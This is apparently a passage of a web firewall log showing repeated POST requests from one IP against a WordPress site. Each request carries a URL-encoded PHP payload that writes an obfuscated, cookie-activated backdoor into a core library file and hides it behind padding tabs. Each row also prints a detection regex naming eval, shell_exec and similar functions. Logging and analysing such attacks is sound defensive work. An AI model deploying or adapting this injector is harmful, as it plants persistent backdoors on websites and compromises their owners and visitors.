1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3274\n\nAi=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Cache\/Memcache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B26%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B26%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B29%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B16%255D%2529%253B%2524p%255B6%255D%2528%2524n%252C%2524p%255B8%255D.%2524p%255B1%255D%2528%2524p%255B3%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:41:59","213.209.159.254","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> oY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Cache\/Memcache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B26%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B26%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B29%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B16%255D%2529%253B%2524p%255B6%255D%2528%2524n%252C%2524p%255B8%255D.%2524p%255B1%255D%2528%2524p%255B3%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3274\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Android\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvo1xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-mode:navigate\n\noY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Cache\/Memcache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B26%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B26%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B29%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B16%255D%2529%253B%2524p%255B6%255D%2528%2524n%252C%2524p%255B8%255D.%2524p%255B1%255D%2528%2524p%255B3%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:42:00","213.209.159.254","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> rF:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Cache\/Memcache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B26%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B26%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B29%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B16%255D%2529%253B%2524p%255B6%255D%2528%2524n%252C%2524p%255B8%255D.%2524p%255B1%255D%2528%2524p%255B3%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3274\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpxLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-mode:navigate\n\nrF=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Cache\/Memcache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B26%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B26%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B29%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B16%255D%2529%253B%2524p%255B6%255D%2528%2524n%252C%2524p%255B8%255D.%2524p%255B1%255D%2528%2524p%255B3%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:42:02","213.209.159.254","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Nf:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Cache\/Memcache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B26%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B26%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B29%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B16%255D%2529%253B%2524p%255B6%255D%2528%2524n%252C%2524p%255B8%255D.%2524p%255B1%255D%2528%2524p%255B3%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3274\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGzLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-mode:navigate\n\nNf=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Cache\/Memcache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B26%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B26%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B29%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B16%255D%2529%253B%2524p%255B6%255D%2528%2524n%252C%2524p%255B8%255D.%2524p%255B1%255D%2528%2524p%255B3%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:42:03","213.209.159.254","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Cache\/Memcache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B26%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B26%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B29%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B16%255D%2529%253B%2524p%255B6%255D%2528%2524n%252C%2524p%255B8%255D.%2524p%255B1%255D%2528%2524p%255B3%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%